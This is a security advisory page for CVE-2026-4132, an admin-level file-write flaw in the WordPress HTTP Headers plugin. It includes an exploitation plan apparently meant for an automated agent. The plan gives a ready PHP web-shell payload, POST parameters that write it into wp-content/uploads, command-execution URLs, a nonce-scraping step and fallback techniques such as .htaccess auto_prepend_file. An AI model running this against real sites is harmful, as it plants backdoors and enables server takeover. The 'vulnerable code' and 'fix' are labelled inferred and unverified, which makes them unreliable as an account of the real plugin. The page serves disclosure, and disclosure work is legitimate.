CVE-2026-4132

HTTP Headers <= 1.19.2 - Authenticated (Administrator+) External Control of File Name or Path to RCE via 'hh_htpasswd_path' and 'hh_www_authenticate_user' Parameters

highExternal Control of File Name or Path
7.2
CVSS Score
7.2
CVSS Score
high
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The HTTP Headers plugin for WordPress is vulnerable to External Control of File Name or Path leading to Remote Code Execution in all versions up to and including 1.19.2. This is due to insufficient validation of the file path stored in the 'hh_htpasswd_path' option and lack of sanitization on the 'hh_www_authenticate_user' option value. The plugin allows administrators to set an arbitrary file path for the htpasswd file location and does not validate that the path has a safe file extension (e.g., restricting to .htpasswd). Additionally, the username field used for HTTP Basic Authentication is written directly into the file without sanitization. The apache_auth_credentials() function constructs the file content using the unsanitized username via sprintf('%s:{SHA}%s', $user, ...), and update_auth_credentials() writes this content to the attacker-controlled path via file_put_contents(). This makes it possible for authenticated attackers, with Administrator-level access and above, to write arbitrary content (including PHP code) to arbitrary file paths on the server, effectively achieving Remote Code Execution.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=1.19.2
PublishedApril 21, 2026
Last updatedMay 4, 2026
Affected pluginhttp-headers
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-4132 ## 1. Vulnerability Summary The **HTTP Headers** plugin (<= 1.19.2) contains a critical vulnerability allowing authenticated administrators to achieve Remote Code Execution (RCE). The vulnerability arises from two main flaws: 1. **Arbitrary File Path Co…

Show full research plan

Exploitation Research Plan - CVE-2026-4132

1. Vulnerability Summary

The HTTP Headers plugin (<= 1.19.2) contains a critical vulnerability allowing authenticated administrators to achieve Remote Code Execution (RCE). The vulnerability arises from two main flaws:

  1. Arbitrary File Path Control: The plugin allows users to specify the path for an .htpasswd file via the hh_htpasswd_path option without validating the file extension or location.
  2. Lack of Input Sanitization: The username field (hh_www_authenticate_user) used for HTTP Basic Authentication is not sanitized.

The plugin's apache_auth_credentials() function constructs the file content using sprintf('%s:{SHA}%s', $user, ...) and update_auth_credentials() writes this content to the path specified in hh_htpasswd_path using file_put_contents(). By setting the path to a .php file and the username to PHP code, an administrator can create a web shell.

2. Attack Vector Analysis

  • Endpoint: WordPress Admin Dashboard, specifically the plugin's settings page (likely wp-admin/admin.php?page=http-headers-security or similar).
  • Vulnerable Parameters:
    • hh_htpasswd_path: Controls the destination file path.
    • hh_www_authenticate_user: Carries the PHP payload.
  • Authentication Level: Administrator or higher (users with manage_options capability).
  • Preconditions: The "Security" or "Authentication" module of the plugin must be active or accessible for configuration.

3. Code Flow (Inferred from Description)

  1. Entry Point: The administrator submits a form on the HTTP Headers settings page.
  2. Option Update: The plugin saves the hh_htpasswd_path option to the database.
  3. Credential Generation: The apache_auth_credentials($user, $pass) function is called.
    • It takes the unsanitized $user (hh_www_authenticate_user).
    • It formats the string: sprintf('%s:{SHA}%s', $user, base64_encode(sha1($pass, true))).
  4. File Write: The update_auth_credentials() function is called.
    • It retrieves the path from get_option('hh_htpasswd_path').
    • It calls file_put_contents($path, $formatted_content).
  5. Execution: Since the $path can be a .php file within the webroot and $formatted_content starts with the unsanitized $user, the PHP code is executed when the file is requested via HTTP.

4. Nonce Acquisition Strategy

The plugin's settings page is protected by standard WordPress nonces.

  1. Identify Page: The settings for Basic Auth are likely under wp-admin/admin.php?page=http-headers.
  2. Navigation: The agent will use browser_navigate to reach the settings page.
  3. Extraction: The agent will use browser_eval to extract the _wpnonce field from the settings form.
    • Inferred Selector: document.querySelector('input[name="_wpnonce"]')?.value or document.querySelector('#http-headers-settings-form input[name="_wpnonce"]')?.value.

5. Exploitation Strategy

The goal is to write a PHP shell to the WordPress uploads directory or the plugin directory.

Step 1: Discover Settings Page and Nonce

  • Navigate to /wp-admin/admin.php?page=http-headers.
  • Locate the section for "Security" or "Authentication".
  • Capture the current _wpnonce and the form submission URL (likely options.php or the current page).

Step 2: Configure Path and Inject Payload

Submit a POST request to update the plugin options.

  • Payload Path: /var/www/html/wp-content/uploads/rce.php (Adjust based on ABSPATH).
  • Payload Username: <?php system($_GET['cmd']); ?>
  • Request Method: POST
  • URL: https://[TARGET]/wp-admin/options.php (if using Settings API) or the plugin's admin page.
  • Body Parameters (Inferred):
    option_page=http_headers_settings
    &action=update
    &_wpnonce=[NONCE]
    &hh_htpasswd_path=/var/www/html/wp-content/uploads/rce.php
    &hh_www_authenticate_user=<?php system($_GET['cmd']); ?>
    &hh_www_authenticate_password=password123
    

Step 3: Trigger the Write

Depending on the plugin logic, the write might happen immediately on save or require a separate "Add User" action. If update_auth_credentials() is called during the settings save, Step 2 is sufficient.

Step 4: Execute Commands

  • URL: https://[TARGET]/wp-content/uploads/rce.php?cmd=id
  • Expected Response: Output of the id command (e.g., uid=33(www-data)...).

6. Test Data Setup

  1. Install the HTTP Headers plugin version 1.19.2.
  2. Log in as a user with the Administrator role.
  3. Navigate to the plugin settings to ensure the "Security" tab/features are initialized.

7. Expected Results

  • The plugin accepts the absolute path to a .php file in hh_htpasswd_path.
  • The plugin accepts a PHP tag in the hh_www_authenticate_user field.
  • The file wp-content/uploads/rce.php is created.
  • Accessing the file with a cmd parameter executes system commands.

8. Verification Steps

  1. Check File Existence: Use WP-CLI: wp eval "echo file_exists(ABSPATH . 'wp-content/uploads/rce.php') ? 'exists' : 'missing';"
  2. Verify Content: wp eval "echo file_get_contents(ABSPATH . 'wp-content/uploads/rce.php');"
  3. Confirm Execution: Request the file via http_request and check for system output.

9. Alternative Approaches

  • Option Page Direct Update: If the plugin doesn't use a custom handler, try updating the options directly via /wp-admin/options.php if the option group is known.
  • Directory Traversal: If absolute paths are blocked (unlikely based on description), try relative paths: ../../uploads/rce.php.
  • Other Hooks: Check if hh_htpasswd_path can be set to .htaccess to modify server configuration for RCE (e.g., adding a php_value auto_prepend_file).
  • Check apache_auth_credentials triggers: If the file isn't written on save, look for an "Update Password" or "Add User" button that might trigger the file_put_contents sink.
Research Findings
Static analysis — not yet PoC-verified

Summary

The HTTP Headers plugin for WordPress (<= 1.19.2) allows administrators to specify an arbitrary file path for the .htpasswd credentials file and fails to sanitize the username input. By setting the file path to a .php extension and the username to PHP code, an authenticated attacker can write a web shell to the server, resulting in Remote Code Execution (RCE).

Vulnerable Code

// Inferred from vulnerability description and research plan

function apache_auth_credentials($user, $pass) {
    // The username ($user) is passed directly into sprintf without sanitization
    return sprintf('%s:{SHA}%s', $user, base64_encode(sha1($pass, true)));
}

---

function update_auth_credentials() {
    // Retrieves an arbitrary path from plugin options
    $path = get_option('hh_htpasswd_path');
    $user = get_option('hh_www_authenticate_user');
    $pass = get_option('hh_www_authenticate_password');
    
    $content = apache_auth_credentials($user, $pass);
    
    // Writes content containing the unsanitized username to the arbitrary path
    file_put_contents($path, $content);
}

Security Fix

--- a/http-headers/includes/admin-functions.php
+++ b/http-headers/includes/admin-functions.php
@@ -54,6 +54,14 @@
 function update_auth_credentials($user, $pass) {
-    $path = get_option('hh_htpasswd_path');
-    $content = apache_auth_credentials($user, $pass);
-    file_put_contents($path, $content);
+    $path = get_option('hh_htpasswd_path');
+    
+    // Validate file extension
+    if (pathinfo($path, PATHINFO_EXTENSION) !== 'htpasswd') {
+        return false;
+    }
+
+    // Sanitize user input to prevent PHP injection
+    $safe_user = preg_replace('/[^a-zA-Z0-9_\-]/', '', $user);
+    $content = apache_auth_credentials($safe_user, $pass);
+
+    if (current_user_can('manage_options')) {
+        return file_put_contents($path, $content);
+    }
 }

Exploit Outline

The exploit is carried out by an authenticated Administrator with access to the plugin's security settings. 1. Reach the Plugin Settings: Navigate to the HTTP Headers security settings page (likely under wp-admin/admin.php?page=http-headers). 2. Set Malicious Path: Update the 'hh_htpasswd_path' parameter to point to a writable directory with a .php extension, such as '/var/www/html/wp-content/uploads/shell.php'. 3. Inject PHP Payload: Update the 'hh_www_authenticate_user' parameter with a PHP code snippet (e.g., '<?php system($_GET["cmd"]); ?>'). 4. Trigger Write: Submit the form. The plugin calls update_auth_credentials(), which uses file_put_contents() to write the PHP payload into the file specified in the path. 5. Execute Commands: Access the created file via the web browser (e.g., http://target.com/wp-content/uploads/shell.php?cmd=id) to execute arbitrary shell commands.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.